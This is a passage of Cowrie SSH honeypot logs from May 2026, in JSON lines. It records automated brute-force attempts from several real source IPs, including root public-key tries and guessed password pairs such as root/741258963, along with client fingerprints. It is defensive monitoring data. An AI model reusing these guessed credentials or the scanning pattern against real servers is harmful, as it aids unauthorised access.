failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:09.474541Z","src_ip":"64.31.53.170","session":"41b1ac0eb6b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:06:af:46:66:7c:7e:ac:22:2e:b1:43:72:fb:67:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfPnYL1+a7Tvyw4BIpUgAVKCqkyedvCYJ8wHAxw46c2w0gIo8LsJNhymzX7C5Ndy1cFJwqQ9OsJC5ztu960iQASvkkXGypbRLoaio4jY7BsD/1KuluwKna4cuHXUQXkkR8D0EfnW/56pVkt2jlbuluh+Ch+L/0akZUAndfK5udiLwWItChlIWRf/k+QuFTxYHgdiAVkd/hDWPW1GSxeU1nNTDfHUAs5AkXBDr3y4K3LSB1V/75Kzkvn2DOoVemTVfGFj3rEIgZYMv9CVff3CPq+dUheamGBoOEbrsSSfHVeTeDY25ZWZbQ+CO860HDNvB1F+vqK6bpqp40XTY1FghLqhmQ4gnr2SyZ2vrhipDZwO+eNT00VNl54ChVEqbRLKiQgW2AzmBbd5hoy8z5T8yqxmhMemkd4nxt9jzIR9PRnkLdFanZtEYiaDbW8f8LuI8+4AR01SFPLYfg//flSiZmQG1VY3shlg2C6HRAaKJ5GruWCltTPgeqKU80aN5ekDxmTfVH+ewyjDPYZ7wEH2xy/Di4PSfgbKo2HseEVPSjo//eAspniQRVacwrxFUfjIf5JvuXDwTAG4wNGU0MXwpxNNI3uTFTw24tt2/A0kNWH2RXNBGyTeYJZtu9EGIehBLEvfZvGqu+VAZdiCwTzwXEjND3wMZllNu+32H5++qS/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:06:af:46:66:7c:7e:ac:22:2e:b1:43:72:fb:67:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:09.485155Z","src_ip":"64.31.53.170","session":"41b1ac0eb6b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:06:af:46:66:7c:7e:ac:22:2e:b1:43:72:fb:67:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfPnYL1+a7Tvyw4BIpUgAVKCqkyedvCYJ8wHAxw46c2w0gIo8LsJNhymzX7C5Ndy1cFJwqQ9OsJC5ztu960iQASvkkXGypbRLoaio4jY7BsD/1KuluwKna4cuHXUQXkkR8D0EfnW/56pVkt2jlbuluh+Ch+L/0akZUAndfK5udiLwWItChlIWRf/k+QuFTxYHgdiAVkd/hDWPW1GSxeU1nNTDfHUAs5AkXBDr3y4K3LSB1V/75Kzkvn2DOoVemTVfGFj3rEIgZYMv9CVff3CPq+dUheamGBoOEbrsSSfHVeTeDY25ZWZbQ+CO860HDNvB1F+vqK6bpqp40XTY1FghLqhmQ4gnr2SyZ2vrhipDZwO+eNT00VNl54ChVEqbRLKiQgW2AzmBbd5hoy8z5T8yqxmhMemkd4nxt9jzIR9PRnkLdFanZtEYiaDbW8f8LuI8+4AR01SFPLYfg//flSiZmQG1VY3shlg2C6HRAaKJ5GruWCltTPgeqKU80aN5ekDxmTfVH+ewyjDPYZ7wEH2xy/Di4PSfgbKo2HseEVPSjo//eAspniQRVacwrxFUfjIf5JvuXDwTAG4wNGU0MXwpxNNI3uTFTw24tt2/A0kNWH2RXNBGyTeYJZtu9EGIehBLEvfZvGqu+VAZdiCwTzwXEjND3wMZllNu+32H5++qS/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:09.489643Z","src_ip":"64.31.53.170","session":"41b1ac0eb6b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:c1:44:42:97:bf:c2:bc:f7:26:26:2e:80:81:e2:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdCOS0TD6ZBelLuov4aoAH53lGWYCZbE9F0JcuZnjgee+U8mD3JYeEaUiaMJq7oGChMbThQS5+FhaPcnK47d4nfzOWn40gEeUzJw87OaPWj9IaOpB+S0XFjijHStd0ZHtAXSSe9TIdC6Qbs4pOHPKY5biHsSK78uqqBaD6Uikmi0H6XqkRqGea8D91L8LlSp3NVLNOo3pmhMGkw2UzWwW8VezmjqjYgUO57sfKim/OSK3iwuDEcedrZMFCcNzHyHk7EX9SgYGxNXx2/nsYOBdaWkTJtBdePvxVLLx3D5Qe15tigDGXK0VQCsqNJtnAH2I5YRgo+pkGnxu11lE4kMP8HZDVvlpVI1CRJCXvbUR3BJ3k19bb0TSWZNcN7I5/TsojmRUo8wfdgliuRwsaocORbMKtZdf3b2haIxPH0pGP5R2aPWLoBYj81ayqxnOejGWO/S6DoC/s8KTI/jcYKLovkGKumVOjo2iE7GeKVHRbKTDJN95PzhV7ifs1ke3ASDcbveIXP+7GWMBolhXw/7pLo2TcGa/LU1xC+xzYeeoR0TfffN8hVnVILMISfv0hiQ8lxaT29F/bF0pzCNcQh3CswtQ2ewoZzxl9aS9guuXHFAKzecNnPnpLTb9cUVO+JbjtEPf6P6JgfZG1G1CO+x80xn5T1TDROLn6ecmyadXsiw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:c1:44:42:97:bf:c2:bc:f7:26:26:2e:80:81:e2:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:09.501620Z","src_ip":"64.31.53.170","session":"41b1ac0eb6b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:c1:44:42:97:bf:c2:bc:f7:26:26:2e:80:81:e2:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdCOS0TD6ZBelLuov4aoAH53lGWYCZbE9F0JcuZnjgee+U8mD3JYeEaUiaMJq7oGChMbThQS5+FhaPcnK47d4nfzOWn40gEeUzJw87OaPWj9IaOpB+S0XFjijHStd0ZHtAXSSe9TIdC6Qbs4pOHPKY5biHsSK78uqqBaD6Uikmi0H6XqkRqGea8D91L8LlSp3NVLNOo3pmhMGkw2UzWwW8VezmjqjYgUO57sfKim/OSK3iwuDEcedrZMFCcNzHyHk7EX9SgYGxNXx2/nsYOBdaWkTJtBdePvxVLLx3D5Qe15tigDGXK0VQCsqNJtnAH2I5YRgo+pkGnxu11lE4kMP8HZDVvlpVI1CRJCXvbUR3BJ3k19bb0TSWZNcN7I5/TsojmRUo8wfdgliuRwsaocORbMKtZdf3b2haIxPH0pGP5R2aPWLoBYj81ayqxnOejGWO/S6DoC/s8KTI/jcYKLovkGKumVOjo2iE7GeKVHRbKTDJN95PzhV7ifs1ke3ASDcbveIXP+7GWMBolhXw/7pLo2TcGa/LU1xC+xzYeeoR0TfffN8hVnVILMISfv0hiQ8lxaT29F/bF0pzCNcQh3CswtQ2ewoZzxl9aS9guuXHFAKzecNnPnpLTb9cUVO+JbjtEPf6P6JgfZG1G1CO+x80xn5T1TDROLn6ecmyadXsiw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:09.505803Z","src_ip":"64.31.53.170","session":"41b1ac0eb6b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:99:9f:07:a9:3f:a6:14:d3:de:6e:76:ad:91:a2:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPNDhXMueL8x+Y5O/mf9Uk3Sr9ewW7zVirnJFc6HKmA3F0atX3KfW+e7GH/28OLbV7v4OXeQzeJkgJRprc4eXjDRfqt1qatFZh7m+76lQ/ljvIffIjkVuOMf86KJMAYGgvm/vwqvMskP7NrVuBe1pq4TR7JAfVQVKCZ9w1qdw6dIH2Z4kqz4XzT6U+uK4LpgKD9iV6cs5pqi8DfiBhRdfqEXVNmK+QIwqxVRDMQgbt9avBeAln+f67ohmwpxsWnUA6ahZ4FWTZq8caIPcpwju9sURoSktACUTna2LU6u/QLUMocmCu7fyuvMZCP8ftmk4VliqZ4lbAB7/md839tBJYEM0p3f3n5OJZeQ+ZfKAfgBvMr9Cb5kGSHQdmXfedz5q4U7l7ZyPPoslwsAqgmnqvTVWUunBtocU/PtdfyzSumMhsahGMlAuFIP9+yBVuTMC4oT8djMVEcxPENvASJxUwwjfYUWHOOHdsiqf/UStCoF71GzYMJjWJjcLiMAiSoZ/CZPNa3GfuypwtJaiSOxrv+G9zlcBU1uzo5T4GRpHAdLgVgUXHDBhpxZgZQsOtoZthStthe7GgbF4MnnQKJB6lgWkLc1u4FAgM/2bIqDbZLSkvZGTmmEAJAo0z3lyLDWa3FlLwVD5mBD+HbyB9Dq26IfIRO3qSjmCcGq17TW8RsQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:99:9f:07:a9:3f:a6:14:d3:de:6e:76:ad:91:a2:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:09.515265Z","src_ip":"64.31.53.170","session":"41b1ac0eb6b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:99:9f:07:a9:3f:a6:14:d3:de:6e:76:ad:91:a2:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPNDhXMueL8x+Y5O/mf9Uk3Sr9ewW7zVirnJFc6HKmA3F0atX3KfW+e7GH/28OLbV7v4OXeQzeJkgJRprc4eXjDRfqt1qatFZh7m+76lQ/ljvIffIjkVuOMf86KJMAYGgvm/vwqvMskP7NrVuBe1pq4TR7JAfVQVKCZ9w1qdw6dIH2Z4kqz4XzT6U+uK4LpgKD9iV6cs5pqi8DfiBhRdfqEXVNmK+QIwqxVRDMQgbt9avBeAln+f67ohmwpxsWnUA6ahZ4FWTZq8caIPcpwju9sURoSktACUTna2LU6u/QLUMocmCu7fyuvMZCP8ftmk4VliqZ4lbAB7/md839tBJYEM0p3f3n5OJZeQ+ZfKAfgBvMr9Cb5kGSHQdmXfedz5q4U7l7ZyPPoslwsAqgmnqvTVWUunBtocU/PtdfyzSumMhsahGMlAuFIP9+yBVuTMC4oT8djMVEcxPENvASJxUwwjfYUWHOOHdsiqf/UStCoF71GzYMJjWJjcLiMAiSoZ/CZPNa3GfuypwtJaiSOxrv+G9zlcBU1uzo5T4GRpHAdLgVgUXHDBhpxZgZQsOtoZthStthe7GgbF4MnnQKJB6lgWkLc1u4FAgM/2bIqDbZLSkvZGTmmEAJAo0z3lyLDWa3FlLwVD5mBD+HbyB9Dq26IfIRO3qSjmCcGq17TW8RsQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:09.519096Z","src_ip":"64.31.53.170","session":"41b1ac0eb6b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:09.544505Z","src_ip":"64.31.53.170","session":"41b1ac0eb6b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":50048,"dst_ip":"10.17.0.5","dst_port":22,"session":"22f9c95de9f5","protocol":"ssh","message":"New connection: 2.57.122.238:50048 (10.17.0.5:22) [session: 22f9c95de9f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:27.648705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:27.653441Z","src_ip":"2.57.122.238","session":"22f9c95de9f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:27.759129Z","src_ip":"2.57.122.238","session":"22f9c95de9f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:28.074490Z","src_ip":"2.57.122.238","session":"22f9c95de9f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:29.182971Z","src_ip":"2.57.122.238","session":"22f9c95de9f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":33044,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3d5369503ff","protocol":"ssh","message":"New connection: 103.172.78.219:33044 (10.17.0.5:22) [session: d3d5369503ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:37.615668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:37.620749Z","src_ip":"103.172.78.219","session":"d3d5369503ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:37.876028Z","src_ip":"103.172.78.219","session":"d3d5369503ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741258963","message":"login attempt [root/741258963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:38.644612Z","src_ip":"103.172.78.219","session":"d3d5369503ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:39.901570Z","src_ip":"103.172.78.219","session":"d3d5369503ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33166,"dst_ip":"10.17.0.5","dst_port":22,"session":"682e242300ee","protocol":"ssh","message":"New connection: 80.94.92.184:33166 (10.17.0.5:22) [session: 682e242300ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:48.736682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:49.698034Z","src_ip":"80.94.92.184","session":"682e242300ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:49.701606Z","src_ip":"80.94.92.184","session":"682e242300ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:51.135767Z","src_ip":"80.94.92.184","session":"682e242300ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:52.428622Z","src_ip":"80.94.92.184","session":"682e242300ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.134.232","src_port":60238,"dst_ip":"10.17.0.5","dst_port":22,"session":"7083a0584482","protocol":"ssh","message":"New connection: 71.6.134.232:60238 (10.17.0.5:22) [session: 7083a0584482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:57.296167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7","message":"Remote SSH version: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:57.301207Z","src_ip":"71.6.134.232","session":"7083a0584482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:57.372437Z","src_ip":"71.6.134.232","session":"7083a0584482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:31:57.448532Z","src_ip":"71.6.134.232","session":"7083a0584482","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":27208,"dst_ip":"10.17.0.5","dst_port":22,"session":"bebc28af6ae7","protocol":"ssh","message":"New connection: 94.26.106.201:27208 (10.17.0.5:22) [session: bebc28af6ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:20.879605Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:20.884320Z","src_ip":"94.26.106.201","session":"bebc28af6ae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":27222,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f8725029ffd","protocol":"ssh","message":"New connection: 94.26.106.201:27222 (10.17.0.5:22) [session: 0f8725029ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:21.016701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:32:21.021768Z","src_ip":"94.26.106.201","session":"0f8725029ffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ss